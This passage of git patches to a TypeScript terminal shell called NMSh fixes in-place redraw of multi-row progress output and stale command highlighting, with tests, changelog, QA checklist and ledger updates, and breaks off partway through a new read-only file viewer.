@@ export class OutputBuffer { const placed = startId >= after && outputStartId <= this.parser.completedCount() && (header || (startId === 0 && outputStartId === 0)); if (!placed) this.retireClearedBlocks(); else if (!header) this.active.cleared = true; + // The resumed command may go on redrawing its own rows (not NMSh's lines written into its block meanwhile). + let ownRows = placed ? outputStartId : 0; + for (let line = ownRows; line < this.parser.completedCount(); line += 1) if (this.lineTypes.has(line)) ownRows = line + 1; + this.parser.fenceAt(ownRows); return {cleared: Boolean(this.active.cleared)}; } + /** The PTY's rows, which bound how far a program's output can redraw rows above its newest line. */ + setScreenRows(rows: number): void { + this.parser.setScreenRows(rows); + } + updateCommandHighlight(startId: number, formattedLines: string[]): void { for (let i = 0; i < formattedLines.length; i++) { this.parser.replaceLine(startId + i, formattedLines[i] ?? ''); diff --git a/src/shell/SemanticService.ts b/src/shell/SemanticService.ts index e094f215..6ffb9efa 100644 --- a/src/shell/SemanticService.ts +++ b/src/shell/SemanticService.ts @@ -46,6 +46,9 @@ export function parseCompletionFacts(line: string): CompletionFacts | undefined return {zshCompletions: zc === '1', fzfTab: ft === '1', completionSystem: cs === '1'}; } +/** How many times a lookup superseded by newer shell knowledge is asked again before it settles as unknown. */ +const REASKS = 3; + export class SemanticService { private child: ReturnType; private pending = new Map void>(); @@ -65,8 +68,10 @@ export class SemanticService { this.shellNamesComplete = text.split('\n').includes('complete'); this.cache.clear(); for (const [name, type] of this.shellNames) this.cache.set(name, type); - for (const resolve of this.pending.values()) resolve('unknown'); + // Lookups in flight were asked against the old knowledge; each one asks again against this one (see lookup). + const superseded = [...this.pending.values()]; this.pending.clear(); + for (const resolve of superseded) resolve('unknown'); for (const resolve of this.rawPending.values()) resolve(''); this.rawPending.clear(); } @@ -207,6 +212,15 @@ done\n`); private isDead = false; async classifyCommand(cmd: string): Promise { + return this.lookup(cmd, 0); + } + + /** + * A lookup that newer shell knowledge superseded while it was in flight never caches its answer (it may be stale), + * and is asked again against the new knowledge, at most REASKS times. Without that, a stored command classified + * just as the next prompt arrived (a fast queue) would keep the unclassified color for good (#408). + */ + private async lookup(cmd: string, reasked: number): Promise { if (!cmd || cmd.trim().length === 0) return 'unknown'; // Only classify the first word if it has spaces cmd = cmd.split(' ')[0]; @@ -227,7 +241,7 @@ done\n`); }, 1500); this.pending.set(id, (res) => { clearTimeout(timer); - if (generation !== this.generation) { resolve('unknown'); return; } + if (generation !== this.generation) { resolve(reasked < REASKS ? this.lookup(cmd, reasked + 1) : 'unknown'); return; } if (this.cache.size >= 8192) this.cache.delete(this.cache.keys().next().value!); this.cache.set(cmd, res); resolve(res); diff --git a/tests/ansiLiveRegion.test.ts b/tests/ansiLiveRegion.test.ts new file mode 100644 index 00000000..08281714 --- /dev/null +++ b/tests/ansiLiveRegion.test.ts @@ -0,0 +1,141 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {once} from 'node:events'; +import {mkdtempSync, realpathSync, rmSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {AnsiOutputParser, plainLine} from '../src/output/AnsiOutputParser.js'; +import {OutputBuffer} from '../src/output/OutputBuffer.js'; +import {ShellSession} from '../src/shell/ShellSession.js'; + +/** + * #388: programs that redraw several of their own rows in place (multi-line progress) update those rows instead of + * leaving a copy per frame, and can never reach rows outside their live region. + */ +const plain = (parser: AnsiOutputParser) => parser.allLines().map(line => plainLine(line)); +const ESC = '\u001b'; +const up = (rows: number) => `${ESC}[${rows}A`; +const clearLine = `${ESC}[2K`; + +test('the #388 fixture: a one-row redraw with cursor-up and erase-line leaves one line, not one per frame', () => { + const parser = new AnsiOutputParser(); + for (let step = 0; step <= 10; step += 1) parser.write(`${step ? `${up(1)}${clearLine}` : ''}Downloading ${step * 10}%\r\n`); + assert.deepEqual(plain(parser), ['Downloading 100%']); + // Carriage-return rewriting, the existing control, still works. + parser.write('10%\r20%\r100%\r\n'); + assert.deepEqual(plain(parser), ['Downloading 100%', '100%']); +}); + +test('a two-row progress display interleaved with log lines keeps every log line and only the final progress rows', () => { + const parser = new AnsiOutputParser(); + const frame = (a: number, b: number) => `${clearLine}layer a ${a}%\r\n${clearLine}layer b ${b}%\r\n`; + parser.write(frame(0, 0)); + for (let step = 1; step <= 5; step += 1) { + if (step === 3) parser.write(`${up(2)}${ESC}[Jpulled base image\r\n`); + else parser.write(up(2)); + parser.write(frame(step * 20, step * 10)); + } + assert.deepEqual(plain(parser), ['pulled base image', 'layer a 100%', 'layer b 50%']); +}); + +test('the cursor never leaves the live region: NMSh lines, earlier commands and rows beyond a screen height stay untouched', () => { + const parser = new AnsiOutputParser(); + parser.addLine('$ previous'); + parser.write('previous output\r\n'); + parser.addLine('$ current'); + parser.write('own 1\r\nown 2\r\n'); + parser.write(`${up(50)}X`); + assert.deepEqual(plain(parser), ['$ previous', 'previous output', '$ current', 'Xwn 1', 'own 2'], 'clamped at the first own row'); + + const tall = new AnsiOutputParser(); + tall.setScreenRows(3); + for (let line = 0; line < 10; line += 1) tall.write(`line ${line}\r\n`); + tall.write(`${up(9)}X\r\n`); + assert.deepEqual(plain(tall).slice(6), ['line 6', 'line 7', 'Xine 8', 'line 9'], 'no further up than a screen height'); +}); + +test('an NMSh line written mid-redraw fences the rows above it: later frames continue below it', () => { + const parser = new AnsiOutputParser(); + parser.write('progress 1\r\n'); + parser.addLine('· copied'); + for (let step = 2; step <= 4; step += 1) parser.write(`${up(1)}${clearLine}progress ${step}\r\n`); + assert.deepEqual(plain(parser), ['progress 1', '· copied', 'progress 4']); +}); + +test('save/restore, next/previous line, reverse index and partial erases act within the region', () => { + const parser = new AnsiOutputParser(); + parser.write(`${ESC}7first\r\nsecond\r\n${ESC}8${ESC}[1mF${ESC}[m\r\n`); + assert.deepEqual(plain(parser), ['First', 'second']); + parser.write(`${ESC}[2Fx${ESC}[1Ey\r\n`); + assert.deepEqual(plain(parser), ['xirst', 'yecond']); + parser.write(`${ESC}Mz`); + assert.deepEqual(plain(parser), ['xirst', 'zecond']); + parser.write(`${ESC}[s${up(1)}${ESC}[3G${ESC}[1K${ESC}[u!`); + assert.deepEqual(plain(parser), [' st', 'z!cond']); + parser.write(`${up(1)}\r${ESC}[J`); + assert.deepEqual(plain(parser), [], 'erase below removes the program\'s rows under the cursor'); +}); + +test('sequences split across reads still redraw in place', () => { + const parser = new AnsiOutputParser(); + parser.write('one\r\n'); + for (const chunk of [`${ESC}`, '[', '1', 'A', `${ESC}[2`, 'Ktwo\r', '\n']) parser.write(chunk); + assert.deepEqual(plain(parser), ['two']); +}); + +test('absolute row positioning is not mapped: it appends as before instead of guessing which row is meant', () => { + const parser = new AnsiOutputParser(); + parser.write('a\r\nb\r\n'); + parser.write(`${ESC}[1;1Hc\r\n`); + assert.deepEqual(plain(parser), ['a', 'b', 'c']); +}); + +test('a resumed command keeps redrawing its own rows, and a command-line recolor never moves its cursor', () => { + const buffer = new OutputBuffer(); + const startId = buffer.beginCommand('pull', ['$ pull']); + buffer.write('layer 1%\r\n'); + buffer.updateCommandHighlight(startId, ['$ pull']); + buffer.write(`${up(1)}${clearLine}layer 50%\r\n`); + const transcript = buffer.transcript(); + const restored = new OutputBuffer(); + restored.restoreTranscript(transcript); + restored.resumeActive('pull', startId, startId + 1); + restored.write(`${up(1)}${clearLine}layer 100%\r\n`); + const record = restored.complete(0)!; + assert.equal(record.output, 'layer 100%'); +}); + +test('ten thousand frames of a three-row display stay three rows and parse in bounded time', () => { + const buffer = new OutputBuffer(); + buffer.beginCommand('build', ['$ build']); + const started = performance.now(); + for (let step = 0; step < 10_000; step += 1) { + buffer.write(`${step ? up(3) : ''}${clearLine}a ${step}\r\n${clearLine}b ${step}\r\n${clearLine}c ${step}\r\n`); + } + const elapsed = performance.now() - started; + const record = buffer.complete(0)!; + assert.equal(record.output, 'a 9999\nb 9999\nc 9999'); + assert.equal(record.endId - record.outputStartId, 3); + assert.ok(elapsed < 5000, `took ${Math.round(elapsed)}ms`); +}); + +test('a real PTY: the #388 fixture run by zsh leaves one progress line', {timeout: 60_000}, async () => { + const home = realpathSync(mkdtempSync(join(tmpdir(), 'nmsh-redraw-'))); + const shell = new ShellSession(home, 100, 30, home, {...process.env, HOME: home}); + let output = ''; + try { + await once(shell, 'prompt'); + shell.on('data', data => { output += data; }); + const done = once(shell, 'prompt'); + const script = 'for (let i=0;i<=10;i++){process.stdout.write((i?"\\x1b[1A\\x1b[2K":"")+"Downloading "+i*10+"%\\n")}'; + shell.submit(`${JSON.stringify(process.execPath)} -e '${script}'`); + await done; + const parser = new AnsiOutputParser(); + parser.setScreenRows(30); + parser.write(output); + assert.deepEqual(plain(parser).filter(line => line.includes('Downloading')), ['Downloading 100%']); + } finally { + shell.kill(); + rmSync(home, {recursive: true, force: true, maxRetries: 5, retryDelay: 100}); + } +}); diff --git a/tests/helpers/liveFrontend.ts b/tests/helpers/liveFrontend.ts index e5061ead..b620a957 100644 --- a/tests/helpers/liveFrontend.ts +++ b/tests/helpers/liveFrontend.ts @@ -8,6 +8,7 @@ import nodePty, {type IPty} from 'node-pty'; import {listLiveSessions} from '../../src/session/connectSession.js'; import {parseSlashCommand} from '../../src/commands/slashCommands.js'; import {TranscriptStore} from '../../src/sessions/TranscriptStore.js'; +import {markFishCompletionsGenerated} from '../../scripts/test-shell-home.mjs'; export const TSX = import.meta.resolve('tsx'); export const ENTRY = fileURLToPath(new URL('../../src/index.ts', import.meta.url)); @@ -37,6 +38,8 @@ export class LiveSandbox { constructor(config: Record = {}, private readonly extraEnv: Record = {}) { mkdirSync(this.home); + // Fish's detached man-page generator would otherwise outlive the sandbox's shells and race disposal (#403). + markFishCompletionsGenerated(this.home); mkdirSync(this.temp); mkdirSync(join(this.config, 'nmsh'), {recursive: true}); mkdirSync(this.runtime, {mode: 0o700}); diff --git a/tests/postV020Folding.test.ts b/tests/postV020Folding.test.ts index ff61d3be..ed9abb14 100644 --- a/tests/postV020Folding.test.ts +++ b/tests/postV020Folding.test.ts @@ -15,12 +15,14 @@ import {beginSelection} from '../src/output/TranscriptSelection.js'; import {executionFrameFixture} from './support/executionTimelineFrames.js'; import {DEFAULT_PROMPT_CONFIGURATION, loadPromptConfiguration} from '../src/prompt/configuration.js'; import {SETTINGS_ROWS} from '../src/ui/SettingsPanel.js'; +import {markFishCompletionsGenerated} from '../scripts/test-shell-home.mjs'; const sequence = (n: number) => Array.from({length: n}, (_, i) => `${i + 1}`).join('\n') + '\n'; async function realApp(shell: ShellId) { const root = realpathSync(mkdtempSync(join(tmpdir(), `nmsh-fold-${shell}-`))); const cwd = join(root, 'project'); mkdirSync(cwd); + markFishCompletionsGenerated(root, {dataHome: join(root, 'data')}); const keys = ['HOME', 'XDG_CONFIG_HOME', 'XDG_DATA_HOME', 'XDG_STATE_HOME', 'NMSH_RETURN_SESSION', 'NMSH_HANDOFF_SHELL', 'TERM_PROGRAM']; const saved = new Map(keys.map(key => [key, process.env[key]])); const previousCwd = process.cwd(); diff --git a/tests/queryOrder.test.ts b/tests/queryOrder.test.ts index fbd0f12e..e3b04c3d 100644 --- a/tests/queryOrder.test.ts +++ b/tests/queryOrder.test.ts @@ -6,6 +6,7 @@ import {join} from 'node:path'; import {tmpdir} from 'node:os'; import {QueryOrder} from '../src/shell/QueryOrder.js'; import {ShellSession} from '../src/shell/ShellSession.js'; +import {markFishCompletionsGenerated} from '../scripts/test-shell-home.mjs'; const DA1 = '\u001b[?62;22c'; @@ -114,6 +115,7 @@ const fish = ['/opt/homebrew/bin/fish', '/usr/local/bin/fish', '/usr/bin/fish']. test('fish\'s read is answered like its prompt: its queries never reach the host, and it reads at once', {skip: fish ? false : 'fish not installed', timeout: 30_000}, async () => { const home = mkdtempSync(join(tmpdir(), 'nt-qo-')); + markFishCompletionsGenerated(home, {dataHome: join(home, 'data')}); const shell = new ShellSession(home, 100, 30, home, {...process.env, HOME: home, XDG_CONFIG_HOME: join(home, '.config'), XDG_DATA_HOME: join(home, 'data'), PATH: `${fish!.replace(/\/fish$/u, '')}:${process.env.PATH}`, TERM: 'xterm-256color'}, 'fish'); let output = ''; diff --git a/tests/queuedHighlight.test.ts b/tests/queuedHighlight.test.ts index aea05775..165c1ba1 100644 --- a/tests/queuedHighlight.test.ts +++ b/tests/queuedHighlight.test.ts @@ -1,18 +1,46 @@ import test from 'node:test'; import assert from 'node:assert/strict'; +import {once} from 'node:events'; import {isolateConfig} from './support/isolatedConfig.js'; import {TerminalApp} from '../src/app/TerminalApp.js'; -/** A semantic service that classifies on request, as the real one does, without starting a shell. */ -function classifyingApp() { - const app = new TerminalApp(); - app['render'] = () => {}; +/** + * A semantic service that classifies on request, as the real one does. The app's real shell reports its startup + * knowledge first: that replaces the classification cache, so it must land before the test's own classifications + * rather than in the middle of them (#408). Every lookup the app starts is recorded, so a test waits for exactly + * those (and the recoloring chained on them) instead of guessing at event-loop turns. + */ +async function classifyingApp() { + const app = await readyApp(); const semantic = app['semanticService']; semantic.cache.clear(); - semantic.classifyCommand = async (word: string) => { semantic.cache.set(word.split(' ')[0]!, 'executable'); return 'executable' as const; }; + const lookups: Promise[] = []; + semantic.classifyCommand = (word: string) => { + const lookup = (async () => { semantic.cache.set(word.split(' ')[0]!, 'executable'); return 'executable' as const; })(); + lookups.push(lookup); + return lookup; + }; + // The recoloring callbacks were attached to each lookup before this waits on them, so they have run when it resolves. + const settle = async () => { await Promise.all(lookups); }; + return {app, settle}; +} + +/** An app whose real shell has reported its startup knowledge. */ +async function readyApp(): Promise { + const app = new TerminalApp(); + app['render'] = () => {}; + try { await once(app['session'], 'prompt', {signal: AbortSignal.timeout(20_000)}); } + catch (error) { app['stop'](0); app['session'].kill(); throw error; } return app; } -const settle = () => new Promise(resolve => setImmediate(resolve)); + +async function until(check: () => boolean, what: string, timeoutMs = 10_000): Promise { + const deadline = Date.now() + timeoutMs; + while (!check()) { + if (Date.now() > deadline) throw new Error(`timed out waiting for ${what}`); + await new Promise(resolve => setTimeout(resolve, 20)); + } +} type Cell = {text: string; style: string}; const cells = (app: TerminalApp, startId: number): Cell[] => app['output'].transcript().lines[startId] as Cell[]; const text = (line: Cell[]) => line.map(cell => cell.text).join(''); @@ -21,7 +49,7 @@ const styleOf = (line: Cell[], word: string) => line[text(line).indexOf(word)]!. test('a queued command is highlighted like a composer command: its command word is classified and the stored line recolored', async () => { const isolation = isolateConfig(); - const app = classifyingApp(); + const {app, settle} = await classifyingApp(); try { const sgr = app['syntaxSgr']; // The queue runs an entry the composer never saw, so its command word is not classified yet. @@ -41,7 +69,7 @@ test('a queued command is highlighted like a composer command: its command word test('a command the composer submitted and a queued one end with the same colors', async () => { const isolation = isolateConfig(); - const app = classifyingApp(); + const {app, settle} = await classifyingApp(); try { app['onShellExec']('cargo build --release', Date.now(), undefined, 'cargo build --release'); const queuedId = app['output'].activeStartId!; @@ -53,3 +81,20 @@ test('a command the composer submitted and a queued one end with the same colors assert.equal(styleOf(queued, 'cargo'), app['syntaxSgr'].KnownCommand, 'and so does the queued block'); } finally { app['stop'](0); app['session'].kill(); isolation.restore(); } }); + +test('a stored command whose classification newer shell knowledge superseded still ends classified (#408)', {skip: process.platform === 'win32'}, async () => { + const isolation = isolateConfig(); + const app = await readyApp(); + try { + const sgr = app['syntaxSgr']; + app['semanticService'].cache.clear(); + // A fast queue: the entry starts, and the previous entry's prompt knowledge lands while its lookup is in flight. + app['onShellExec']('ls -la', Date.now(), undefined, 'ls -la'); + const startId = app['output'].activeStartId!; + assert.equal(styleOf(cells(app, startId), 'ls'), sgr.Command, 'unclassified at first'); + app['semanticService'].applyShellKnowledge('complete\n'); + await until(() => styleOf(cells(app, startId), 'ls') === sgr.KnownCommand, 'the stored line to be recolored from the new knowledge'); + assert.equal(styleOf(cells(app, startId), '-la'), sgr.Flag); + assert.ok(app['formatCommandAnsi']('ls -la', null)[0]!.includes(`${sgr.KnownCommand}l`), 'the composer path agrees'); + } finally { app['stop'](0); app['session'].kill(); isolation.restore(); } +}); diff --git a/tests/shellAdapters.test.ts b/tests/shellAdapters.test.ts index dd95fd6c..136bc775 100644 --- a/tests/shellAdapters.test.ts +++ b/tests/shellAdapters.test.ts @@ -1,7 +1,8 @@ import test from 'node:test'; import assert from 'node:assert/strict'; +import {spawnSync} from 'node:child_process'; import {once} from 'node:events'; -import {chmodSync, mkdirSync, mkdtempSync, readFileSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; +import {chmodSync, mkdirSync, mkdtempSync, readdirSync, readFileSync, realpathSync, rmSync, writeFileSync} from 'node:fs'; import {connect, type Socket} from 'node:net'; import {tmpdir} from 'node:os'; import {join} from 'node:path'; @@ -19,6 +20,7 @@ import {parseSlashCommand} from '../src/commands/slashCommands.js'; import {normalizePromptConfiguration} from '../src/prompt/configuration.js'; import {createShellPanel, shellPanelKey} from '../src/shell/ShellPanel.js'; import type {ShellMarker} from '../src/shell/ShellProtocol.js'; +import {markFishCompletionsGenerated} from '../scripts/test-shell-home.mjs'; const available = (id: ShellId) => Boolean(shellAdapter(id).resolveExecutable(process.env)); const scratch = (prefix: string) => realpathSync(mkdtempSync(join(tmpdir(), prefix))); @@ -89,8 +91,9 @@ interface Lifecycle { markers: ShellMarker[]; execs: Array<[string, number | und async function startShell(id: ShellId): Promise { const home = scratch(`nmsh-adapter-${id}-`); mkdirSync(join(home, 'work')); + markFishCompletionsGenerated(home); const shell = new ShellSession(home, 100, 30, home, {...process.env, HOME: home, XDG_CONFIG_HOME: join(home, '.config'), XDG_DATA_HOME: join(home, '.local', 'share'), - LANG: 'C.UTF-8', LC_ALL: 'C.UTF-8'}, id); + XDG_CACHE_HOME: join(home, '.cache'), LANG: 'C.UTF-8', LC_ALL: 'C.UTF-8'}, id); const state: Lifecycle = {markers: [], execs: [], output: '', shell, home}; shell.on('prompt', marker => state.markers.push(marker)); shell.on('exec', (command, allowed) => state.execs.push([command, allowed])); @@ -151,6 +154,19 @@ async function stopShell(state: Lifecycle): Promise { rmSync(state.home, {recursive: true, force: true, maxRetries: 5, retryDelay: 100}); } +test('fish: a test home marked as generated starts no detached man-page completion generator (#403)', {skip: !available('fish') && 'fish is not installed', timeout: 60_000}, async () => { + const state = await startShell('fish'); + try { + // Fish starts the generator during interactive startup, before its first prompt, and it runs for seconds. + await run(state, 'true'); + const generators = (spawnSync('ps', ['-axo', 'command='], {encoding: 'utf8'}).stdout ?? '').split('\n') + .filter(line => line.includes('--manpath') && line.includes(state.home)); + assert.deepEqual(generators, [], 'nothing outlives the shell and writes into its home'); + assert.deepEqual(readdirSync(join(state.home, '.cache', 'fish', 'generated_completions')), []); + assert.deepEqual(readdirSync(join(state.home, '.local', 'share', 'fish', 'generated_completions')), []); + } finally { await stopShell(state); } +}); + test('fish: a leading space is private, and Fish completion feeds structured candidates', {skip: !available('fish') && 'fish is not installed', timeout: 60_000}, async () => { const state = await startShell('fish'); try { @@ -224,6 +240,7 @@ test('hot swap in the service: zsh → fish → bash → zsh keeps session ident const runtimeDir = scratch('nmsh-swap-'); chmodSync(runtimeDir, 0o700); const home = scratch('nmsh-swaph-'); mkdirSync(join(home, 'project')); + markFishCompletionsGenerated(home, {dataHome: join(home, '.d')}); const service = new SessionService({runtimeDir, startupIdleMs: 60_000}); await service.start(); const keeper = new Peer(service.socketPath); diff --git a/tests/shellContextEnvironment.test.ts b/tests/shellContextEnvironment.test.ts index a24c8c24..cf573cd3 100644 --- a/tests/shellContextEnvironment.test.ts +++ b/tests/shellContextEnvironment.test.ts @@ -5,6 +5,7 @@ import {mkdtempSync, realpathSync, rmSync} from 'node:fs'; import {tmpdir} from 'node:os'; import {join} from 'node:path'; import {ShellSession} from '../src/shell/ShellSession.js'; +import {markFishCompletionsGenerated} from '../scripts/test-shell-home.mjs'; import {shellAdapter} from '../src/shell/adapters/registry.js'; import {SHELL_IDS, knowledgeJobCount, type ShellId} from '../src/shell/adapters/ShellAdapter.js'; import {parseShellKnowledge} from '../src/shell/ShellKnowledge.js'; @@ -15,6 +16,7 @@ const available = (id: ShellId) => Boolean(shellAdapter(id).resolveExecutable(pr async function start(id: ShellId): Promise<{shell: ShellSession; home: string}> { const home = realpathSync(mkdtempSync(join(tmpdir(), `nmsh-envsnap-${id}-`))); + markFishCompletionsGenerated(home); // The launch environment carries a secret and a frontend-only value: neither may be reported as a value. const shell = new ShellSession(home, 100, 30, home, {...process.env, HOME: home, XDG_CONFIG_HOME: join(home, '.config'), XDG_DATA_HOME: join(home, '.local', 'share'), LANG: 'C.UTF-8', LC_ALL: 'C.UTF-8', AWS_SESSION_TOKEN: 'LAUNCH_TOKEN_VALUE', AWS_PROFILE: 'launch-profile'}, id); diff --git a/tests/shellIntelligence.test.ts b/tests/shellIntelligence.test.ts index 86fbe9a8..fb1e9616 100644 --- a/tests/shellIntelligence.test.ts +++ b/tests/shellIntelligence.test.ts @@ -102,11 +102,17 @@ test('complete snapshots reveal unshadowed commands, partial snapshots preserve service.applyShellKnowledge('function positive\npartial\n'); assert.equal(await service.classifyCommand('positive'), 'function'); assert.equal(await service.classifyCommand('configured_only'), 'alias'); + // A lookup in flight when newer knowledge arrives is asked again against that knowledge (#408): the answer its + // old knowledge implied (plain lookup: unknown) is never cached, and the new one (configured: the rc alias) is. + service.applyShellKnowledge('complete\n'); + const superseded = service.classifyCommand('configured_only'); + service.applyShellKnowledge('partial\n'); + assert.equal(await superseded, 'alias'); + assert.equal(service.cache.get('configured_only'), 'alias'); service.applyShellKnowledge('alias live_alias\ncomplete\n'); - const stale = service.classifyCommand('stale_result'); + const named = service.classifyCommand('latest'); service.applyShellKnowledge('function latest\ncomplete\n'); - assert.equal(await stale, 'unknown'); - assert.equal(service.cache.has('stale_result'), false); + assert.equal(await named, 'function', 'answered from the knowledge that superseded it, not settled as unknown'); service.kill(); assert.equal(await service.classifyCommand('latest'), 'function'); } finally { From 74ebea5dbb74b66e84dd037f76d060eaca66c342 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 13:48:19 +0530 Subject: [PATCH 004/157] Reliability slice: changelog, physical QA checklist and ledger --- CHANGELOG.md | 5 +++++ docs/development/v021-ledger.md | 21 +++++++++++++++++---- docs/testing/v021-physical-qa.md | 31 +++++++++++++++++++++++++++++++ 3 files changed, 53 insertions(+), 4 deletions(-) create mode 100644 docs/testing/v021-physical-qa.md diff --git a/CHANGELOG.md b/CHANGELOG.md index 7adfa9c6..3fc3b600 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,11 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). ## [Unreleased] +### Fixed + +- Multi-line progress displays that redraw their own rows (cursor up and erase line, as concurrent downloads and container pulls do) now update in place instead of leaving a copy of every frame in the transcript ([#388](https://github.com/raiseCatError/notMyShell/issues/388)). A program can redraw only its own recent rows, at most a screen height up, never NMSh's lines or earlier commands; `/copy` copies the final rows once. Absolute cursor positioning keeps the previous behavior. +- A queued command whose command word was still being classified when the next prompt reported new shell knowledge no longer keeps the unclassified color ([#408](https://github.com/raiseCatError/notMyShell/issues/408)). + ## [0.20.0] - 2026-10-18 **Terminal workflow, first-run setup, background tasks & native modules.** The first stable release since v0.18.0. A new first run lets you pick a starting point under a live aurora and review it before anything applies; queued commands read as a chronological timeline with saved summaries; completed output can be selected, copied and acted on from the keyboard; optional tools are discovered, reviewed and installed through one flow; long-running commands can run as background tasks beside the shell; and the native module catalog covers twelve more runtimes and build tools. Every new control is reached through an explicit command, key or review, and the persistent shell, the queue and program input keep their behavior. diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index 36142b49..9b179e5c 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -14,8 +14,8 @@ Automated results here are not physical-terminal validation. | # | Slice | Issues | Branch / PR | Merged commit | State | | --- | --- | --- | --- | --- | --- | -| 0 | Design and ledger | #410 | | | in progress | -| 1 | Reliability gates | #403, #408, #388 | | | | +| 0 | Design and ledger | #410 | `docs/v021-design` / #411 | | PR open, CI green; awaiting merge | +| 1 | Reliability gates | #403, #408, #388 | `fix/v021-reliability` (stacked on #411) | | PR open | | 2 | `/view` | #397, #402 | | | | | 3 | `/edit` | #402 | | | | | 4 | Semantic Output | #386 | | | | @@ -33,8 +33,21 @@ Automated results here are not physical-terminal validation. ## Physical QA still required -Recorded per slice when it merges. +Checklist: [v0.21 physical QA](../testing/v021-physical-qa.md). Slice 1: section 1 (multi-row progress in Ghostty +and Terminal.app, queued highlight colors). + +## Verification notes + +- Slice 1 evidence: each new regression fails on the unfixed code and passes on the fix (Fish generator present; + superseded lookup settled `unknown` and the stored line never recolored; 9 of 10 redraw tests fail on the old parser, + the tenth being the documented unchanged absolute-positioning case). #408 tests passed 16/16 in two concurrent loops. +- Local full `npm run verify` on this 8 GB Mac: run with `NMSH_TEST_TMPDIR` at the T7 storage root + (`/Volumes/T7Tmp/ai-dev`), never a deeper directory: the runner requires test roots under 32 characters for Unix + sockets, and a longer root fails the runner self-test, tmux and session-socket tests for environmental reasons. + Live PTY tests can time out under full-suite load here and pass alone; exact-head CI is the independent gate. ## Open risks -None recorded yet. +- Merging into `dev` needs the maintainer (the agent's merge was refused by its permission policy). Slices are + stacked PRs; merge them in order, each squashed. +- #388: programs that position rows absolutely inline (rare) still append; recorded in the design. diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md new file mode 100644 index 00000000..133614c2 --- /dev/null +++ b/docs/testing/v021-physical-qa.md @@ -0,0 +1,31 @@ +# v0.21 physical QA + +## Status + +- **Candidate, not released.** Items are added as each v0.21 slice lands ([ledger](../development/v021-ledger.md)). + Nothing below has been run yet. +- **What does not count:** headless PTY fixtures, synthetic keys, captures of a window driven that way, and green CI. + Each item needs a person at a real terminal with a real keyboard and pointer. +- **Build under test:** record the exact commit (`node dist/index.js --version`) built from a clean checkout + (`npm ci && npm run build`). +- **Isolation:** a throwaway `HOME` (or `XDG_CONFIG_HOME`) and a temporary working directory. + +## Results + +| Pass | Host and version | OS | Shell and version | Commit | Result | Notes | +|---|---|---|---|---|---|---| +| 1 Multi-row progress (#388) | Ghostty | macOS | zsh | | Not run | | +| 1 Multi-row progress (#388) | Terminal.app | macOS | Bash or Fish | | Not run | | + +## 1. Multi-row progress redraws (#388) + +- [ ] 1.1 `node -e 'for (let i=0;i<=10;i++){process.stdout.write((i?"\x1b[1A\x1b[2K":"")+"Downloading "+i*10+"%\n")}'` + leaves one `Downloading 100%` line, at 80 columns and at 40 columns. +- [ ] 1.2 A two-row display (for example `docker pull` of a multi-layer image, or `brew install` of a formula with + concurrent downloads) updates its rows in place; log lines printed between frames all stay. Record the command. +- [ ] 1.3 Resize the window narrower and wider while 1.2 runs: no earlier command, prompt or NMSh notice is erased. +- [ ] 1.4 `/copy` of that block copies the final rows once, not every frame. +- [ ] 1.5 `printf '10%%\r20%%\r100%%\n'` still shows one `100%` line; `clear` still clears. +- [ ] 1.6 `vim`, `less` and `htop` still take the full screen and return to the composer. +- [ ] 1.7 Queue two quick commands (`ls` then `pwd`) with Ctrl+Q while a short command runs: both stored command + lines end with the known-command color (#408). From b20d81c457b4a7680706b97e87c9d6dd16bce549 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 13:51:07 +0530 Subject: [PATCH 005/157] Native /view: a read-only viewer for files and completed output (#397) /view reads a regular file relative to the shell's directory, /view N completed output N (numbered as /copy), /view alone the latest output; block Actions gain View output. Markdown files render (m shows the source), source files get syntax roles and line numbers, diffs read as diffs. Find, go to line, wrap or horizontal scroll, copy all. Files are opened non-blocking and only regular files are read: at most 8 MiB and 200,000 lines, binary and UTF-16 refused, invalid UTF-8 shown with a note. Drawing is bounded to what is visible, and every control or format character is drawn as a visible mark. Viewing never writes to the file or transcript. --- src/app/TerminalApp.ts | 64 ++++- src/ask/concepts.ts | 5 +- src/commands/slashCommands.ts | 5 + src/markdown/highlight.ts | 4 +- src/markdown/render.ts | 7 + src/ui/BlockActions.ts | 3 +- src/viewer/ViewerPanel.ts | 502 ++++++++++++++++++++++++++++++++++ src/viewer/document.ts | 180 ++++++++++++ tests/viewer.test.ts | 197 +++++++++++++ tests/viewerApp.test.ts | 77 ++++++ tests/viewerLive.test.ts | 58 ++++ 11 files changed, 1097 insertions(+), 5 deletions(-) create mode 100644 src/viewer/ViewerPanel.ts create mode 100644 src/viewer/document.ts create mode 100644 tests/viewer.test.ts create mode 100644 tests/viewerApp.test.ts create mode 100644 tests/viewerLive.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index 07f2d810..fafe132e 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -68,6 +68,8 @@ import {DEFAULT_REPORT_OPTIONS, describeFindings, redactText, scanSensitive, typ import {applyReportEdit, createReportReview, createTextReview, renderReportReview, reportReviewKey, type ReportReviewState} from '../ui/ReportReview.js'; import {configuredEditor} from '../host/HostActions.js'; import {comparePanelKey, createComparePanel, renderComparePanel, type ComparePanelState} from '../ui/ComparePanel.js'; +import {loadFileDocument, outputDocument} from '../viewer/document.js'; +import {createViewer, renderViewer, viewerKey, type ViewerLook, type ViewerState} from '../viewer/ViewerPanel.js'; import {buildComparisonReport, copyableDiff, previousRun} from '../output/compare.js'; import {createStripStudio, renderStripStudio, stripStudioKey, type StripStudioState} from '../status/StripStudio.js'; import {configureListKey, renderConfigureList, type ConfigureListState} from '../tools/config/ConfigureList.js'; @@ -1620,6 +1622,17 @@ export class TerminalApp { this.render(); return; } + if (this.viewer) { + const viewer = this.viewer; + const {columns, rows} = this.dimensions(); + const action = viewerKey(viewer, key, columns, rows - 4, 